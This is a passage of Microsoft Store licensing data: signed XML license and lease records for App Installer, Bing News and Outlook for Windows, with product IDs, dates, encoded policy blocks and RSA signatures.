ock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>KKRqrSissnm6GH9id6PylXERCRiQeYtod/t+hu217ms=</DigestValue></Reference></SignedInfo><SignatureValue>QXv7FCL3VvhTmsXcaTH0Jmy8ptfE+VZJ+iAjkCQZ03kecTbjD7UTE8ZtNFzGQYe+efStpVaQ+Y1i+vMMwc7qmQP+Z4Tq2xzJWSMU7sA4E8nFe/ZjdaSvZDvwvqI1tYtSD3+rr/XLMzoLr8LU1C5Udr/B5lJTTWxTwxvxPSU7ahMQboDJ5aeP+bdUrQ1h3iIDdOc0WU/iBeQBZ0y+RNU3bVlNR6RSc7czD9f2ffMgoQq/Hn8wy0WuFsG1LnzpEbfXzg10ejdSseRE703J48eN/NbBaxwHJEW6/0B7ana4B6/RCJlx2wor71EVHag1OnVhwUxTG+FMKinlSUx6K6xy5g==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="d7d21992-066c-41a0-995c-2dafe35010d9" LicenseID="3ebdb897-991b-934f-ee13-2ca21ed81938" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><AssociatedPFNs>Microsoft.DesktopAppInstaller_8wekyb3d8bbwe</AssociatedPFNs><LeaseRenewalPeriod>129600</LeaseRenewalPeriod></Binding><LicenseInfo Type="Lease" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-19T22:44:31.3612237Z</IssuedDate><LastUpdateDate>2026-02-19T22:44:31.3514408Z</LastUpdateDate></LicenseInfo><CustomPolicies>eyJlbnRpdGxlbWVudFNhdGlzZmFjdGlvbiI6Ik9wZW4iLCJpc09mZmxpbmUiOnRydWUsImxlYXNlRW5mb3JjZW1lbnQiOiJOb25lIiwibGVhc2VVcmkiOiJodHRwczovL2xpY2Vuc2luZy5tZC5tcC5taWNyb3NvZnQuY29tL3Y3LjAvbGljZW5zZXMvP2NvbnRlbnRJZD05NzYxMjI4Mi1kMWU4LTFkNmEtOWU5Mi1jMjcxZTdmMTc3ZWYmbWFya2V0PUNIJnBvbGljeVR5cGU9T3BlbiZwcm9kdWN0SWQ9OU5CTEdHSDROTlMxJnNrdUlkPTAwMTAiLCJrZXlJZHMiOlsiNTE3Y2ZjYWYtMTM4Yi0xNzk2LTJjZWEtNjI4OTIyMDQyNTBhIl0sImtpbmQiOiJDb250ZW50IiwicGFja2FnZXMiOlt7InBhY2thZ2VJZGVudGlmaWVyIjoiOTc2MTIyODItZDFlOC0xZDZhLTllOTItYzI3MWU3ZjE3N2VmIiwicGFja2FnZVR5cGUiOiJtc2l4IiwicHJvZHVjdEFkZE9ucyI6W10sInByb2R1Y3RJZCI6IjlOQkxHR0g0Tk5TMSIsInNrdUlkIjoiMDAxMCJ9XSwicG9sbEF0IjoiMjAyNi0wNS0yMFQyMjo0NDozMS4zNTEyOTM0KzAwOjAwIiwicmVmcmVzaE9uU3RhcnR1cCI6ZmFsc2UsInZlcnNpb24iOjd9</CustomPolicies><SPLicenseBlock>FAAAAMAAAADJAAAACgAAAAUAAgBPkpdpAADLAAAAEAAAAJe4vT4bmU+T7hMsoh7YGTjOAAAAWAAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AZABlAHMAawB0AG8AcABhAHAAcABpAG4AcwB0AGEAbABsAGUAcgBfADgAdwBlAGsAeQBiADMAZAA4AGIAYgB3AGUAAADNAAAAIgAAAAEAPHRzkyJyTeprvahJYVs0C0HSgOyvT4hrOkNjQkRP3ZnTAAAABAAAAE85DmrMAAAARAAAAAEAAgD29CuYlIHVECHI8o8cEclbaLq6q9uWDvOBZUlKn5A8bA0luB9ehPYvWFOo0HrbBTMsQX6lu7oG9YHwiqg8x0uk</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>8Z1G+N3wGNC2uv9hjMvxLckVH8/E7FNxuwRn8kij2z4=</DigestValue></Reference></SignedInfo><SignatureValue>FkXabZtNHq97gVPYPlIYcod0iJUtASwUNLJ2exrtTNprP1hmQa3hfvIAclIj+G5q90oJm/P+iYUg39AUE8PuFXIbjb2KgB8Ul4nMoKF1SIBhXawADRFodYmHe+PYyr13Pd6PcglbBcsf4x4G6t7pEQOaFSC+B5qH1By8E2+b1BXIIGT7I2CdtSjBchzFNKGuj5Lxbg7/JG6kwvQIoXiIoGxLHC03U7kkjFfZnIABbdFvoaJFvdgelS8nXLuX2Yeo1HONnVnG8MwR8QznO80eDOMe3KoEBxNrgj7LkkwaauEiRZvKfKoIp9f5FVkvf4XoJusuRCgI/ZOZYTidp8ATVA==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="bb9acdd3-f18d-4f00-92ad-7a6550667f79" LicenseID="517cfcaf-138b-1796-2cea-62892204250a" ContentID="97612282-d1e8-1d6a-9e92-c271e7f177ef" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>9NBLGGH4NNS1</ProductID><PFM>microsoft.desktopappinstaller_8wekyb3d8bbwe</PFM><LeaseRequired>True</LeaseRequired></Binding><LicenseInfo Type="Full" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-19T22:44:31.360703Z</IssuedDate><LastUpdateDate>2026-02-19T22:44:31.3518255Z</LastUpdateDate><BeginDate>2026-02-19T22:44:31.351825Z</BeginDate></LicenseInfo><CustomPolicies>eyJsZWdhY3lQcm9kdWN0SWQiOiJhZjk1YTYwMC05OWE4LTQxNjEtOTczNi00NDhjNjBiODNmMjkifQ==</CustomPolicies><SPLicenseBlock>FAAAAMAAAADJAAAACgAAAAUAAQBPkpdpAwDLAAAAEAAAAK/8fFGLE5YXLOpiiSIEJQrOAAAAWAAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AZABlAHMAawB0AG8AcABhAHAAcABpAG4AcwB0AGEAbABsAGUAcgBfADgAdwBlAGsAeQBiADMAZAA4AGIAYgB3AGUAAADNAAAAIgAAAAEAPHRzkyJyTeprvahJYVs0C0HSgOyvT4hrOkNjQkRP3ZkgAAAABAAAAE+Sl2nMAAAARAAAAAEAAgBvnA7Msz+lL6MhVinraBtXA2ENligDz6tI06WEw1R0R8xlbaah2KPbrs+5XTwjdk43tIVbwneD8KJWFFJBdzaL</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>SygpRIDfVJUCgPCviT/MyozdOvC814B60ttNUAn1Qac=</DigestValue></Reference></SignedInfo><SignatureValue>aaqcga3wIg3sWhak3C+ufX2pRoPlq7EJDGVGFFaLalZzkkz/ZkOOx/E79xuySsK617QY1aUGLHqN4yitNCaB/8Y78FcrZulaMv5slHjO7Bj+30Yh2aCsKsKcjIqAnLE1A6f4QH7xLDC7ZZG7Rrsj1/LaCD6x3rch8OfqWoSJonMcwA3AAJp/cgSrdZ5KX6SS3gL0gVkeTqbnXDVjwft//CPncy4Tl/Bx6xbqj8L6Gi0kOXVJp7CZ1l+fHO9RB31ZDwQW62jIPvnKA18kr9U6OQvaju2x4Mh30UMoVwQPR5mbnraOIqYnyKbeeWyaSKHMgJy+We00qBMVP3xp6zX85A==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="b581a002-6566-4493-9182-ac39f161ba29" LicenseID="aa4e72b1-ad78-3f2c-e8ff-4733b8cdd4ac" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><AssociatedPFNs>Microsoft.BingNews_8wekyb3d8bbwe</AssociatedPFNs><LeaseRenewalPeriod>129600</LeaseRenewalPeriod></Binding><LicenseInfo Type="Lease" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T11:34:59.7420969Z</IssuedDate><LastUpdateDate>2026-02-20T11:34:59.7344099Z</LastUpdateDate></LicenseInfo><CustomPolicies>eyJlbnRpdGxlbWVudFNhdGlzZmFjdGlvbiI6Ik9wZW4iLCJpc09mZmxpbmUiOnRydWUsImxlYXNlRW5mb3JjZW1lbnQiOiJOb25lIiwibGVhc2VVcmkiOiJodHRwczovL2xpY2Vuc2luZy5tZC5tcC5taWNyb3NvZnQuY29tL3Y3LjAvbGljZW5zZXMvP2NvbnRlbnRJZD0xZjYzYjhjMy0yZDQ4LTk0OTctMGEwYS0yY2JkNDYyZWRlNzYmbWFya2V0PUNIJnBvbGljeVR5cGU9T3BlbiZwcm9kdWN0SWQ9OVdaRE5DUkZIVkZXJnNrdUlkPTAwMTAiLCJrZXlJZHMiOlsiNTM5MGJlMTAtNzliNS1kYzUwLWJiMzItOTE4NDJjNzZlNjA3Il0sImtpbmQiOiJDb250ZW50IiwicGFja2FnZXMiOlt7InBhY2thZ2VJZGVudGlmaWVyIjoiMWY2M2I4YzMtMmQ0OC05NDk3LTBhMGEtMmNiZDQ2MmVkZTc2IiwicGFja2FnZVR5cGUiOiJtc2l4IiwicHJvZHVjdEFkZE9ucyI6W10sInByb2R1Y3RJZCI6IjlXWkROQ1JGSFZGVyIsInNrdUlkIjoiMDAxMCJ9XSwicG9sbEF0IjoiMjAyNi0wNS0yMVQxMTozNDo1OS43MzQyNzk3KzAwOjAwIiwicmVmcmVzaE9uU3RhcnR1cCI6ZmFsc2UsInZlcnNpb24iOjd9</CustomPolicies><SPLicenseBlock>FAAAAKoAAADJAAAACgAAAAUAAgDkRphpAADLAAAAEAAAALFyTqp4rSw/6P9HM7jN1KzOAAAAQgAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AYgBpAG4AZwBuAGUAdwBzAF8AOAB3AGUAawB5AGIAMwBkADgAYgBiAHcAZQAAAM0AAAAiAAAAAQBWNkke4achxyX3XTAShmMfEwbT/ZJpvmlhyTBv8zOmDNMAAAAEAAAA5O0OaswAAABEAAAAAQACAI1An9LrQqHT7uVcg4MytKN6Yvw7gl80d3jyUb/bUoVDJ/7aabOagP2tymc8EhQJXQ8r4i3xRenxtc4URiFB1k4=</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>BVjC0wN8cvqwwSdRqiWMIjSNJkFINQYpbKsqwV8GdXE=</DigestValue></Reference></SignedInfo><SignatureValue>M2ix4QC2bqpO9/DyYoIGYEvtbqfVlie6T86whW8RSulbvBdKe40ewM0ZXotbAionoO6qQDguX99ZStlgUkSKo1UfytxPw5UD4FEiVin+7GMJktoFRGdnz4uialsn2+GstMC4iT7T+dCWOksz+4tZehn2w4F2bHNHJprlQGa38vye2hckNgXlgBg4L4MJDWPrjjS0x2C9emYgPemBV/Cau8jZVGTi2sPJIKXRr1o61cyko+dMY3clkWYat6ygkOhpc6qXvoa1ihuiTrwhPaxopcMUB9dELLMvLeHYW8XYUbIMXi1PLOjoJY4Kq0gc6D5h2LkQsMLELHMdBH7btZuANQ==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="0290b389-f080-49f9-a6d6-2ee3cba3749a" LicenseID="5390be10-79b5-dc50-bb32-91842c76e607" ContentID="1f63b8c3-2d48-9497-0a0a-2cbd462ede76" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>9WZDNCRFHVFW</ProductID><PFM>microsoft.bingnews_8wekyb3d8bbwe</PFM><LeaseRequired>True</LeaseRequired></Binding><LicenseInfo Type="Full" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T06:36:52.0675202Z</IssuedDate><LastUpdateDate>2026-02-20T06:36:52.0585452Z</LastUpdateDate><BeginDate>2026-02-20T06:36:52.0585433Z</BeginDate></LicenseInfo><CustomPolicies>eyJsZWdhY3lQcm9kdWN0SWQiOiJlYWFmMmNlMy1kNWEzLTRhNTktYWUzMS0yNzZmYmM0NGE3Y2QifQ==</CustomPolicies><SPLicenseBlock>FAAAAKoAAADJAAAACgAAAAUAAQAEAZhpAwDLAAAAEAAAABC+kFO1eVDcuzKRhCx25gfOAAAAQgAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AYgBpAG4AZwBuAGUAdwBzAF8AOAB3AGUAawB5AGIAMwBkADgAYgBiAHcAZQAAAM0AAAAiAAAAAQBWNkke4achxyX3XTAShmMfEwbT/ZJpvmlhyTBv8zOmDCAAAAAEAAAABAGYacwAAABEAAAAAQACAH90TYiUXJslcLJvDiK2upS9pmaVvsnyEpDtEm5HqdacX+l2otbUV9LsBqjl6CCHjJsclirzqY/8fnX6RG7kPM8=</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>IKbw77UH66OHpXSnAnlMv/6xrWqIwxkAyitpjIwmz1Y=</DigestValue></Reference></SignedInfo><SignatureValue>f5VGceZGf7Ijt9NOuBTz0v2hExh+992Thyxjan4ocjZC7NDlBIgI/2PTf8J1VcL8aycXIsLz53w9yHhhgEBIDmvbEz77wbwHnjkcsflDvKYOCera7R2DUIC9NZLHn2SilhOByOrmPKjY6CLH3jdj+PofT9iT3qgnaTp3ehBURlq3B4IVTRRKKuU1jYxMgitqNK04rObpeyFQPWumTJgJ6ivzEtgTbbjD1Gib/QadQeAC2GALGZYXZdKAujm3CWH85CnEjD9Emkw34JS+pP4NsHfNw8mwphTrrU1PYjVtK8QDfX5hAQCaz0NCBzoOjGx0aAVuHFhuQSkKvwnyREGh1A==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="bb4f0f8b-b1e5-4f7f-b52c-1251252e4662" LicenseID="7b3f54b5-2b92-233e-3e4c-bdbba0a5cbe1" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><LicenseInstanceID>6390233c-ad31-4596-b7a6-b4b64a533e65</LicenseInstanceID><RequestorID>2c3f1d47-426d-c7d7-face-ef1add208818</RequestorID><AssociatedPFNs>Microsoft.OutlookforWindows_8wekyb3d8bbwe</AssociatedPFNs><LeaseRenewalPeriod>86400</LeaseRenewalPeriod></Binding><LicenseInfo Type="Lease" LicenseUsage="Offline" LicenseCategory="OEM"><IssuedDate>2026-02-20T15:59:56.7006797Z</IssuedDate><LastUpdateDate>2026-02-20T15:59:56.6882272Z</LastUpdateDate></LicenseInfo><CustomPolicies>eyJlbnRpdGxlbWVudFNhdGlzZmFjdGlvbiI6IkRldmljZSIsImxlYXNlRW5mb3JjZW1lbnQiOiJOb25lIiwibGVhc2VVcmkiOiJodHRwczovL2xpY2Vuc2luZy5tZC5tcC5taWNyb3NvZnQuY29tL3Y3LjAvbGljZW5zZXMvP2xpY2Vuc2VJbnN0YW5jZUlkPTYzOTAyMzNjLWFkMzEtNDU5Ni1iN2E2LWI0YjY0YTUzM2U2NSZwb2xpY3lUeXBlPU9mZmxpbmUmcHJvZHVjdElkPTlOUlg2MzIwOVI3QiZyZXF1ZXN0b3JJZD0yYzNmMWQ0Ny00MjZkLWM3ZDctZmFjZS1lZjFhZGQyMDg4MTgmc2t1SWQ9MDAxNCIsImxpY2Vuc2VJbnN0YW5jZUlkIjoiNjM5MDIzM2MtYWQzMS00NTk2LWI3YTYtYjRiNjRhNTMzZTY1Iiwia2V5SWRzIjpbIjViYzY4MDI2LTc2OTMtYjRhNS1iMTM2LWJlM2M5MDlmMjMyYyJdLCJraW5kIjoiQ29udGVudCIsInBhY2thZ2VzIjpbeyJwYWNrYWdlSWRlbnRpZmllciI6IjhkMGI2MWIwLWU4YjctNDViOC1iYjZlLTk5ZTQxZDRhMWRjNSIsInBhY2thZ2VUeXBlIjoibXNpeCIsInByb2R1Y3RBZGRPbnMiOltdLCJwcm9kdWN0SWQiOiI5TlJYNjMyMDlSN0IiLCJza3VJZCI6IjAwMTQifV0sInBvbGxBdCI6IjIwMjYtMDQtMjFUMTU6NTk6NTYuNjg4MTEwOSswMDowMCIsInJlZnJlc2hPblN0YXJ0dXAiOmZhbHNlLCJyZXF1ZXN0b3JJZCI6IjJjM2YxZDQ3LTQyNmQtYzdkNy1mYWNlLWVmMWFkZDIwODgxOCIsInZlcnNpb24iOjd9</CustomPolicies><SPLicenseBlock>FAAAALwAAADJAAAACgAAAAUAAgD9hJhpAADLAAAAEAAAALVUP3uSKz4jPky9u6Cly+HOAAAAVAAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AbwB1AHQAbABvAG8AawBmAG8AcgB3AGkAbgBkAG8AdwBzAF8AOAB3AGUAawB5AGIAMwBkADgAYgBiAHcAZQAAAM0AAAAiAAAAAQCS6IIDXaoawKwbP9khlDyLucesf2otznx4FHfZT3YbdtMAAAAEAAAA/Z7nacwAAABEAAAAAQACAPs4v2JViZvfWCIdOGk9wxkO+WW4WiZfNznvEo2G3LdHHjIG1dndQYwzhxCqPQhb2f3NoCfgEfkoj4P+qsGGClg=</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>Vtwdx4aCrQM+6SKaU2nrYJiCC3/MVJCe0Y0RNK0iaII=</DigestValue></Reference></SignedInfo><SignatureValue>bafdKuEMXHH0iLw9hFP0ICgj3anzFxizdmKNahZoFhjo9c/rslTtCrXt6+wx+TNPZcE0LNY16BAtcA1fHJ3AGyr0eo33wIrY0GZqru/vZ1rLzjVX5y9ifV9OrYK0XFZbJbos2OjQD30Shb1iZVjF4raLluMbdK/R3Cs0jBjNd/UUTxsj6L6921veBQvV2R2wIXseSfDNUQkLeXRiUYWC+xc+fK8LlchRe8BFsrPRDvZibvCz4Kz03t7Of/zY5a2X1FfZ/tMwJh+iWB/oRio1opHR5TYXVC6dWNI68eHLt+AzJ/gAmr3kI6DEX4UY1qKCsMm/zQn2QgEE8IjdO3O84w==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="dee954e7-f228-4629-adfd-1dbf34c7b198" LicenseID="5bc68026-7693-b4a5-b136-be3c909f232c" ContentID="8d0b61b0-e8b7-45b8-bb6e-99e41d4a1dc5" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>9NRX63209R7B</ProductID><PFM>microsoft.outlookforwindows_8wekyb3d8bbwe</PFM><LicenseInstanceID>6390233c-ad31-4596-b7a6-b4b64a533e65</LicenseInstanceID><RequestorID>2c3f1d47-426d-c7d7-face-ef1add208818</RequestorID><LeaseRequired>True</LeaseRequired></Binding><LicenseInfo Type="Full" LicenseUsage="Offline" LicenseCategory="OEM"><IssuedDate>2026-02-20T15:59:56.7005517Z</IssuedDate><LastUpdateDate>2026-02-20T15:59:56.6885843Z</LastUpdateDate><BeginDate>2026-02-20T15:59:56.6885837Z</BeginDate></LicenseInfo><CustomPolicies>eyJsZWdhY3lQcm9kdWN0SWQiOiIzZGRkODczYS0xNjM5LTQzMzEtYTlhMi1kOTllNTY4YjJhNWYifQ==</CustomPolicies><SPLicenseBlock>FAAAALwAAADJAAAACgAAAAUAAQD9hJhpAwDLAAAAEAAAACaAxluTdqW0sTa+PJCfIyzOAAAAVAAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AbwB1AHQAbABvAG8AawBmAG8AcgB3AGkAbgBkAG8AdwBzAF8AOAB3AGUAawB5AGIAMwBkADgAYgBiAHcAZQAAAM0AAAAiAAAAAQCS6IIDXaoawKwbP9khlDyLucesf2otznx4FHfZT3YbdiAAAAAEAAAA/YSYacwAAABEAAAAAQACAMqn9Ayg/xmOGBTjXep09dwbFCbt20mhDTjS5Q2lOzEZl8TBMdb64j3LGDs8g7l19lpxfVqKfF9nTe88KsKEMYo=</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>UwcYR59vZ7woZxPDx8d9kAouOibZolkcz9N4VHepDQs=</DigestValue></Reference></SignedInfo><SignatureValue>erG3wTHz9Ix29dM9fn8pFQK8Mt91NFtMIZKfiHm8VLhYILNYjpqUJWnnrz3TyOodU1d/OVnVHeI97YHPgERyllGKC6ij+5hsQVEeo/eR74+pP5xJN0/cJj/qXoZg3VPWoBxUWfzTIw2dVaFz46sc6T9VGr1YRHnxm/IxuDeW5IuLEeDNsb/4QOHnjpA6rltk4c1Lv8a5rd+2VJgAklUT/deKL16LztdJBu9igoANUMDDyjT3hKNN9MOymiU9JOkP0t+gTcLIk30vBHL2WjVtvXQQ56fRQgf7rHMn921cBBSre/bWEe9esZO+t8N3hdkb9YC8XATI3KHi3sNn0fC6jQ==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
